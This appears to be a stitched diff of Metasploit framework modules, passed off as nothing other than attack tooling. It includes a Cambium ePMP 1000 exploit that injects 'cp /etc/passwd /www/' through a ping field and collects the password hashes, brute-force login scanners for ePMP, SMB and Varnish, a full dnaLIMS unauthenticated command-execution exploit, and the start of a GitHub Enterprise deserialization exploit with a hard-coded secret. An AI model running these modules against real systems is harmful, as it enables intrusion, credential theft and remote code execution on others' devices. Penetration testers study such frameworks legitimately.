get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
if !get_epmp_ver.nil?
epmp_ver = get_epmp_ver[1]
if !epmp_ver.nil?
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
if "#{epmp_ver}" >= '2.5'
print_error('This ePMP version is not vulnerable. Module will not continue.')
return false
else
return true
end
else
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
return true
end
end
else
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.")
return false
end
end
#
# Dump ePMP Password Hashes
#
def do_login(user, pass)
print_status("#{rhost}:#{rport} - Attempting to login...")
begin
res = send_request_cgi(
{
'uri' => '/cgi-bin/luci',
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Accept' => 'application/json, text/javascript, */*; q=0.01'
},
'vars_post' =>
{
'username' => 'dashboard',
'password' => ''
}
}
)
good_response = (
res &&
res.code == 200 &&
res.headers.include?('Set-Cookie') &&
res.headers['Set-Cookie'].include?('sysauth')
)
if good_response
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
res = send_request_cgi(
{
'uri' => '/cgi-bin/luci',
'method' => 'POST',
'cookie' => cookie1,
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Connection' => 'close'
},
'vars_post' =>
{
'username' => user,
'password' => pass
}
}
)
end
good_response = (
res &&
res.code == 200 &&
res.headers.include?('Set-Cookie') &&
res.headers['Set-Cookie'].include?('stok=')
)
if good_response
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
report_cred(
ip: rhost,
port: rport,
service_name: 'Cambium ePMP 1000',
user: user,
password: pass
)
get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/)
if !get_stok.nil?
stok_value = get_stok[1]
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
uri1 = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/ping'
command = 'cp /etc/passwd /www/'
inject = '|' + "#{command}" + ' ||'
clean_inject = CGI.unescapeHTML(inject.to_s)
res = send_request_cgi(
{
'uri' => uri1,
'method' => 'POST',
'cookie' => cookie2,
'headers' => {
'Accept' => '*/*',
'Accept-Language' => 'en-US,en;q=0.5',
'Accept-Encoding' => 'gzip, deflate',
'X-Requested-With' => 'XMLHttpRequest',
'ctype' => '*/*',
'Connection' => 'close'
},
'vars_post' =>
{
'ping_ip' => '8.8.8.8',
'packets_num' => clean_inject,
'buf_size' => 0,
'ttl' => 1,
'debug' => '0'
}
}
)
res = send_request_cgi(
{
'method' => 'GET',
'uri' => '/passwd',
'cookie' => cookie2,
'headers' => {
'Accept' => '*/*',
'Accept-Language' => 'en-US,en;q=0.5',
'Accept-Encoding' => 'gzip, deflate',
'X-Requested-With' => 'XMLHttpRequest',
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
'Connection' => 'close'
}
}, 25
)
if res && res.code == 200 && res.body =~ /root/
vprint_status('++++++++++++++++++++++++++++++++++++++')
vprint_status("#{rhost}:#{rport} - dumping password hashes")
vprint_line("#{res.body}")
vprint_status('++++++++++++++++++++++++++++++++++++++')
print_good("#{rhost}:#{rport} - File retrieved successfully!")
path = store_loot('ePMP_passwd', 'text/plain', rhost, res.body, 'Cambium ePMP 1000 password hashes')
print_status("#{rhost}:#{rport} - File saved in: #{path}")
else
print_error("#{rhost}:#{rport} - Failed to retrieve hashes")
return
end
command = 'rm /www/passwd'
inject = '|' + "#{command}" + ' ||'
clean_inject = CGI.unescapeHTML(inject.to_s)
res = send_request_cgi(
{
'uri' => uri1,
'method' => 'POST',
'cookie' => cookie2,
'headers' => {
'Accept' => '*/*',
'Accept-Language' => 'en-US,en;q=0.5',
'Accept-Encoding' => 'gzip, deflate',
'X-Requested-With' => 'XMLHttpRequest',
'ctype' => '*/*',
'Connection' => 'close'
},
'vars_post' =>
{
'ping_ip' => '8.8.8.8',
'packets_num' => clean_inject,
'buf_size' => 0,
'ttl' => 1,
'debug' => '0'
}
}
)
# Extract ePMP version
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
}
)
epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1]
report_cred(
ip: rhost,
port: rport,
service_name: "Cambium ePMP 1000 v#{epmp_ver}",
user: user,
password: pass
)
else
# Login failed
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
end
end
end
end
end

View File

@ -0,0 +1,206 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'Cambium ePMP 1000 Login Scanner',
'Description' => %{
This module scans for Cambium ePMP 1000 management login portal(s), and attempts to identify valid credentials. Default login credentials are - admin/admin, installer/installer, home/home and readonly/readonly. Tested versions <=3.2.1 (current version). This should work fine for any future releases.
},
'Author' =>
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'VERBOSE' => true })
)
register_options(
[
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']),
OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'admin'])
], self.class
)
end
def run_host(ip)
unless is_app_epmp1000?
return
end
each_user_pass do |user, pass|
do_login(user, pass)
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
#
# Check if App is Cambium ePMP 1000
#
def is_app_epmp1000?
begin
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
}
)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
return false
end
good_response = (
res &&
res.code == 200 &&
res.headers['Server'] &&
(res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com'))
)
if good_response
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
if !get_epmp_ver.nil?
epmp_ver = get_epmp_ver[1]
if !epmp_ver.nil?
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
return true
else
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
return true
end
end
else
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.")
return false
end
end
#
# Brute-force the login page
#
def do_login(user, pass)
print_status("#{rhost}:#{rport} - Attempting to login...")
begin
res = send_request_cgi(
{
'uri' => '/cgi-bin/luci',
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Accept' => 'application/json, text/javascript, */*; q=0.01'
},
'vars_post' =>
{
'username' => 'dashboard',
'password' => ''
}
}
)
good_response = (
res &&
res.code == 200 &&
res.headers.include?('Set-Cookie') &&
res.headers['Set-Cookie'].include?('sysauth')
)
if good_response
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
res = send_request_cgi(
{
'uri' => '/cgi-bin/luci',
'method' => 'POST',
'cookie' => cookie1,
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Connection' => 'close'
},
'vars_post' =>
{
'username' => user,
'password' => pass
}
}
)
end
good_response = (
res &&
res.code == 200 &&
res.headers.include?('Set-Cookie') &&
res.headers['Set-Cookie'].include?('stok=')
)
if good_response
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
#
# Extract ePMP version
#
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
}
)
epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1]
report_cred(
ip: rhost,
port: rport,
service_name: "Cambium ePMP 1000 version #{epmp_ver}",
user: user,
password: pass
)
else
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
end
end
end
end

View File

@ -70,7 +70,7 @@ class MetasploitModule < Msf::Auxiliary
#grab Canon sessionid cookie
idcookie = res.nil? ? nil : res.get_cookies
if res.code == 301 || res.code == 302 && res.headers.include?('Location')
if res && (res.code == 301 || res.code == 302 && res.headers.include?('Location'))
print_good("#{rhost} - SUCCESSFUL login with USER='#{datastore['USER']}' : PASSWORD='#{datastore['PASSWD']}'")
#grab Canon IR= session cookie

View File

@ -0,0 +1,107 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::UDPScanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Moxa UDP Device Discovery',
'Description' => %q(
The Moxa protocol listens on 4800/UDP and will respond to broadcast
or direct traffic. The service is known to be used on Moxa devices
in the NPort, OnCell, and MGate product lines.
A discovery packet compels a Moxa device to respond to the sender
with some basic device information that is needed for more advanced
functions. The discovery data is 8 bytes in length and is the most
basic example of the Moxa protocol. It may be sent out as a
broadcast (destination 255.255.255.255) or to an individual device.
Devices that respond to this query may be vulnerable to serious
information disclosure vulnerabilities, such as CVE-2016-9361.
The module is the work of Patrick DeSantis of Cisco Talos and is
derived from original work by K. Reid Wightman. Tested and validated
on a Moxa NPort 6250 with firmware versions 1.13 and 1.15.
),
'Author' => 'Patrick DeSantis <p[at]t-r10t.com>',
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://www.digitalbond.com/blog/2016/10/25/serial-killers/'],
[ 'URL', 'http://www.moxa.com/support/faq/faq_detail.aspx?id=646' ],
]
)
)
register_options(
[
# Moxa protocol listens on 4800/UDP by default
Opt::RPORT(4800)
], self.class)
end
# The data to be sent via UDP
def build_probe
# Function Code (first byte) 0x01: Moxa discovery/identify
# The fourth byte is the length of the full data payload
@probe ||= "\x01\x00\x00\x08\x00\x00\x00\x00"
end
# Called for each response packet
def scanner_process(response, src_host, _src_port)
# The first byte of a response will always be the func code + 0x80
# (the most significant bit of the byte is set to 1, so 0b00000001
# becomes 0b10000001, or 0x81).
# A valid response is 24 bytes, starts with 0x81, and contains the values
# 0x00, 0x90, 0xe8 (the Moxa OIU) in bytes 14, 15, and 16.
return unless response[0] == "\x81" && response[14..16] == "\x00\x90\xe8" && response.length == 24
@results[src_host] ||= []
@results[src_host] << response
end
# Called after the scan block
def scanner_postscan(_batch)
@results.each_pair do |host, response|
peer = "#{host}:#{rport}"
# Report the host
report_host(
:host => host,
:info => "Moxa Device",
)
# Report the service
report_service(
host: host,
proto: 'udp',
port: rport,
name: 'Moxa Protocol',
)
if response.empty?
vprint_status("#{peer} No Moxa Devices Found.")
else
print_good("#{peer} Moxa Device Found!")
# Report vuln
report_vuln(
host: host,
port: rport,
proto: 'udp',
name: 'Moxa Protocol Use',
refs: references
)
end
end
end
end

View File

@ -0,0 +1,221 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/login_scanner/smb2'
require 'metasploit/framework/credential_collection'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
def proto
'smb'
end
def initialize
super(
'Name' => 'SMB Login Check Scanner',
'Description' => %q{
SMB1 and SMB2 Compatible Login Scanner module. This version of
smb_login will seemlessly work with either version of the protocol.
SMB3 support will come at a future date.
This module will test a SMB login on a range of machines and
report successful logins. If you have loaded a database plugin
and connected to a database this module will record successful
logins and hosts so you can track your access.
},
'Author' =>
[
'thelightcosine', # RubySMB/SMB2 refactor
'tebo <tebo[at]attackresearch.com>', # Original
'Ben Campbell', # Refactoring
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>', # admin check
'Tom Sellers <tom[at]fadedcode.net>' # admin check/bug fix
],
'References' =>
[
[ 'CVE', '1999-0506'], # Weak password
],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'DB_ALL_CREDS' => false,
'BLANK_PASSWORDS' => false,
'USER_AS_PASS' => false
}
)
deregister_options('RHOST','USERNAME','PASSWORD')
# These are normally advanced options, but for this module they have a
# more active role, so make them regular options.
register_options(
[
Opt::Proxies,
OptBool.new('ABORT_ON_LOCKOUT', [ true, "Abort the run when an account lockout is detected", false ]),
OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true ]),
OptBool.new('DETECT_ANY_AUTH', [false, 'Enable detection of systems accepting any authentication', true])
], self.class)
end
def run_host(ip)
print_brute(:level => :vstatus, :ip => ip, :msg => "Starting SMB login bruteforce")
domain = datastore['SMBDomain'] || ""
@scanner = Metasploit::Framework::LoginScanner::SMB2.new(
host: ip,
port: rport,
local_port: datastore['CPORT'],
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5,
max_send_size: datastore['TCP::max_send_size'],
send_delay: datastore['TCP::send_delay'],
framework: framework,
framework_module: self,
)
if datastore['DETECT_ANY_AUTH']
bogus_result = @scanner.attempt_bogus_login(domain)
if bogus_result.success?
print_error("This system accepts authentication with any credentials, brute force is ineffective.")
return
else
vprint_status('This system does not accept authentication with any credentials, proceeding with brute force')
end
end
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['SMBPass'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['SMBUser'],
user_as_pass: datastore['USER_AS_PASS'],
realm: domain,
)
cred_collection = prepend_db_passwords(cred_collection)
cred_collection = prepend_db_hashes(cred_collection)
@scanner.cred_details = cred_collection
@scanner.scan! do |result|
case result.status
when Metasploit::Model::Login::Status::LOCKED_OUT
if datastore['ABORT_ON_LOCKOUT']
print_error("Account lockout detected on '#{result.credential.public}', aborting.")
return
else
print_error("Account lockout detected on '#{result.credential.public}', skipping this user.")
end
when Metasploit::Model::Login::Status::DENIED_ACCESS
print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}', #{result.proof}"
report_creds(ip, rport, result)
:next_user
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' #{result.access_level}"
report_creds(ip, rport, result)
:next_user
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
end
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: result.credential.realm,
status: result.status
)
:abort
when Metasploit::Model::Login::Status::INCORRECT
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}', #{result.proof}"
end
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: result.credential.realm,
status: result.status
)
end
end
end
# This logic is not universal ie a local account will not care about workgroup
# but remote domain authentication will so check each instance
def accepts_bogus_domains?(user, pass)
bogus_domain = @scanner.attempt_login(
Metasploit::Framework::Credential.new(
public: user,
private: pass,
realm: Rex::Text.rand_text_alpha(8)
)
)
return bogus_domain.success?
end
def report_creds(ip, port, result)
service_data = {
address: ip,
port: port,
service_name: 'smb',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: result.credential.private,
private_type: (
Rex::Proto::NTLM::Utils.is_pass_ntlm_hash?(result.credential.private) ? :ntlm_hash : :password
),
username: result.credential.public,
}.merge(service_data)
if domain.present?
if accepts_bogus_domains?(result.credential.public, result.credential.private)
print_brute(:level => :vstatus, :ip => ip, :msg => "Domain is ignored for user #{result.credential.public}")
else
credential_data.merge!(
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: result.credential.realm
)
end
end
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: result.status
}.merge(service_data)
create_credential_login(login_data)
end
end

View File

@ -0,0 +1,100 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/varnish'
require 'metasploit/framework/tcp/client'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Metasploit::Framework::Varnish::Client
def initialize
super(
'Name' => 'Varnish Cache CLI Login Utility',
'Description' => 'This module attempts to login to the Varnish Cache (varnishd) CLI instance using a bruteforce
list of passwords.',
'References' =>
[
[ 'OSVDB', '67670' ],
[ 'CVE', '2009-2936' ],
[ 'EDB', '35581' ],
[ 'URL', 'https://www.varnish-cache.org/trac/wiki/CLI' ]
],
'Author' =>
[
'patrick', #original module
'h00die <mike@shorebreaksecurity.com>' #updates and standardizations
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(6082),
OptPath.new('PASS_FILE', [ true, 'File containing passwords, one per line',
File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt') ])
], self.class)
# We don't currently support an auth mechanism that uses usernames, so we'll ignore any
# usernames that are passed in.
@strip_usernames = true
end
def run_host(ip)
# first check if we even need auth
begin
connect
if !require_auth?
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: No Authentication Required"
close_session
disconnect
return
else
vprint_status "#{ip}:#{rport} - Authentication Required"
end
close_session
disconnect
rescue Rex::ConnectionError, EOFError, Timeout::Error
print_error "#{ip}:#{rport} - Unable to connect"
end
cred_collection = Metasploit::Framework::CredentialCollection.new(
pass_file: datastore['PASS_FILE'],
username: '<BLANK>'
)
scanner = Metasploit::Framework::LoginScanner::VarnishCLI.new(
host: ip,
port: rport,
cred_details: cred_collection,
stop_on_success: true,
connection_timeout: 10,
framework: framework,
framework_module: self,
)
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: fullname,
workspace_id: myworkspace_id
)
if result.success?
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential.private}"
else
invalidate_login(credential_data)
vprint_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential.private}"
end
end
end
end

View File

@ -37,23 +37,23 @@ class MetasploitModule < Msf::Auxiliary
'DefaultAction' => 'WebServer'))
@operational_status = 0 # 0=unk, 1=connected, 2=not connected
@last_errors = Hash.new
@last_errors = {}
@server_started = Time.new
@can_interfaces = Array.new
@can_interfaces = []
@pkt_response = {} # Candump returned packets
end
def detect_can()
@can_interfaces = Array.new
def detect_can
@can_interfaces = []
Socket.getifaddrs.each do |i|
if i.name =~ /^can\d+$/ or i.name =~ /^vcan\d+$/ or i.name =~ /^slcan\d+$/
if i.name =~ /^can\d+$/ || i.name =~ /^vcan\d+$/ || i.name =~ /^slcan\d+$/
@can_interfaces << i.name
end
end
end
def get_status()
status = Hash.new
def get_status
status = {}
status["operational"] = @operational_status
status["hw_specialty"] = {}
status["hw_capabilities"] = {}
@ -61,7 +61,7 @@ class MetasploitModule < Msf::Auxiliary
status["api_version"] = HWBRIDGE_API_VERSION
status["fw_version"] = "not supported"
status["hw_version"] = "not supported"
if @can_interfaces.size > 0
unless @can_interfaces.empty?
status["hw_specialty"]["automotive"] = true
status["hw_capabilities"]["can"] = true
end
@ -69,8 +69,8 @@ class MetasploitModule < Msf::Auxiliary
status
end
def get_statistics()
stats = Hash.new
def get_statistics
stats = {}
stats["uptime"] = Time.now - @server_started
stats["packet_stats"] = "not supported"
stats["last_request"] = "not supported"
@ -78,24 +78,24 @@ class MetasploitModule < Msf::Auxiliary
stats
end
def get_datetime()
def get_datetime
{ "system_datetime" => Time.now }
end
def get_timezone()
def get_timezone
{ "system_timezone" => Time.now.getlocal.zone }
end
def get_ip_config()
def get_ip_config
end
#
# Stub fucntion to test custom methods
# Defines a method "sample_cmd" with one argument "data" which is required
#
def get_custom_methods()
m = Hash.new
m["Methods"] = Array.new
def get_custom_methods
m = {}
m["Methods"] = []
meth = { "method_name" => "custom/sample_cmd", "method_desc" => "Sample HW test command", "args" => [] }
arg = { "arg_name" => "data", "arg_type" => "string", "required" => true }
meth["args"] << arg
@ -104,9 +104,9 @@ class MetasploitModule < Msf::Auxiliary
m
end
def get_auto_supported_buses()
def get_auto_supported_buses
detect_can()
buses = Array.new
buses = []
@can_interfaces.each do |can|
buses << { "bus_name" => can }
end
@ -127,7 +127,7 @@ class MetasploitModule < Msf::Auxiliary
return result
end
`which cansend`
if not $?.success?
unless $?.success?
print_error("cansend from can-utils not found in path")
return result
end
@ -160,7 +160,7 @@ class MetasploitModule < Msf::Auxiliary
$candump_sniffer = Thread.new do
output = `candump #{bus},#{id}:FFFFFF -T #{timeout} -n #{maxpkts}`
@pkt_response = candump2hash(output)
Thread::exit()
Thread::exit
end
end
@ -186,7 +186,7 @@ class MetasploitModule < Msf::Auxiliary
end
# Should we ever require isotpsend for this?
`which cansend`
if not $?.success?
unless $?.success?
print_error("cansend from can-utils not found in path")
return result
end
@ -197,7 +197,7 @@ class MetasploitModule < Msf::Auxiliary
result["Success"] = true if $?.success?
result["Packets"] = []
$candump_sniffer.join
if not @pkt_response.empty?
unless @pkt_response.empty?
result = @pkt_response
end
end
@ -216,7 +216,7 @@ class MetasploitModule < Msf::Auxiliary
res
end
def not_supported()
def not_supported
{ "status" => "not supported" }
end
@ -263,9 +263,9 @@ class MetasploitModule < Msf::Auxiliary
end
def run
detect_can()
detect_can
@server_started = Time.now
exploit()
exploit
end
end

View File

@ -15,6 +15,9 @@ class MetasploitModule < Msf::Encoder::Alphanum
'Description' => %q{
Encodes payloads as alphanumeric mixedcase text. This encoder uses
SkyLined's Alpha2 encoding suite.
A pure alpha encoder is impossible without having a register that points at or near the shellcode.
In a default configuration the first few bytes at the beginning are an fnstenv getpc stub (the same as used in shikata_ga_nai) and thus are not alphanumeric.
You can set BufferRegister for full alpha (see Encoder options for details).
},
'Author' => [ 'pusscat', 'skylined' ],
'Arch' => ARCH_X86,

View File

@ -18,6 +18,9 @@ class MetasploitModule < Msf::Encoder::Alphanum
'Description' => %q{
Encodes payloads as alphanumeric uppercase text. This encoder uses
SkyLined's Alpha2 encoding suite.
A pure alpha encoder is impossible without having a register that points at or near the shellcode.
In a default configuration the first few bytes at the beginning are an fnstenv getpc stub (the same as used in shikata_ga_nai) and thus are not alphanumeric.
You can set BufferRegister for full alpha (see Encoder options for details).
},
'Author' => [ 'pusscat', 'skylined' ],
'Arch' => ARCH_X86,

View File

@ -7,6 +7,7 @@ require 'msf/core'
require 'msf/core/payload/firefox'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking # Missing autodetection, but has widespread targetability
include Msf::Payload::Firefox
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation

View File

@ -6,6 +6,7 @@
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

View File

@ -6,6 +6,7 @@
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Telnet
include Msf::Exploit::Remote::HttpClient

View File

@ -0,0 +1,107 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'dnaLIMS Admin Module Command Execution',
'Description' => %q{
This module utilizes an administrative module which allows for
command execution. This page is completely unprotected from any
authentication when given a POST request.
},
'Author' =>
[
'h00die <mike@shorebreaksecurity.com>', # Discovery, PoC
'flakey_biscuit <nicholas@shorebreaksecurity.com>' # Discovery, PoC
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2017-6526'],
['US-CERT-VU', '929263'],
['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/']
],
'Platform' => %w( linux unix ),
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'RequiredCmd' => 'perl' # software written in perl, and guaranteed to be there
}
},
'Targets' =>
[
[ 'Automatic Target', { }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 8 2017'
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/'])
], self.class
)
end
def check
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'),
'method' => 'POST',
'vars_post' => {
'investigator' => '',
'username' => '',
'navUserName' => '',
'Action' => 'executeCmd',
'executeCmdData' => 'perl -V'
}
)
if res && res.body
if /Summary of/ =~ res.body
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
else
Exploit::CheckCode::Safe
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
def exploit
begin
vprint_status('Sending Exploit')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'),
'method' => 'POST',
'vars_post' => {
'investigator' => '',
'username' => '',
'navUserName' => '',
'Action' => 'executeCmd',
'executeCmdData' => payload.encoded,
}
)
vprint_good(res.body)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
end

View File

@ -6,6 +6,7 @@
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

View File

@ -6,6 +6,7 @@
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient

View File

@ -0,0 +1,195 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Github Enterprise Default Session Secret And Deserialization Vulnerability",
'Description' => %q{
This module exploits two security issues in Github Enterprise, version 2.8.0 - 2.8.6.
The first is that the session management uses a hard-coded secret value, which can be
abused to sign a serialized malicious Ruby object. The second problem is due to the
use of unsafe deserialization, which allows the malicious Ruby object to be loaded,
and results in arbitrary remote code execution.
This exploit was tested against version 2.8.0.
},
'License' => MSF_LICENSE,
'Author' =>
[
'iblue <iblue[at]exablue.de>', # Original discovery, writeup, and PoC (he did it all!)
'sinn3r' # Porting the PoC to Metasploit
],
'References' =>
[
[ 'EDB', '41616' ],
[ 'URL', 'http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html' ],
[ 'URL', 'https://enterprise.github.com/releases/2.8.7/notes' ] # Patched in this version
],
'Platform' => 'linux',
'Targets' =>
[
[ 'Github Enterprise 2.8', { } ]
],
'DefaultOptions' =>
{
'SSL' => true,
'RPORT' => 8443
},
'Privileged' => false,
'DisclosureDate' => 'Mar 15 2017',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path for Github Enterprise', '/'])
], self.class)
end
def secret
'641dd6454584ddabfed6342cc66281fb'
end
def check
uri = normalize_uri(target_uri.path, 'setup', 'unlock')
res = send_request_cgi!({
'method' => 'GET',
'uri' => uri,
'vars_get' =>{
'redirect_to' => '/'
}
})
unless res
vprint_error('Connection timed out.')
return Exploit::CheckCode::Unknown
end
unless res.get_cookies.match(/^_gh_manage/)
vprint_error('No _gh_manage value in cookie found')
return Exploit::CheckCode::Safe
end
cookies = res.get_cookies
vprint_status("Found cookie value: #{cookies}, checking to see if it can be tampered...")
gh_manage_value = CGI.unescape(cookies.scan(/_gh_manage=(.+)/).flatten.first)
data = gh_manage_value.split('--').first
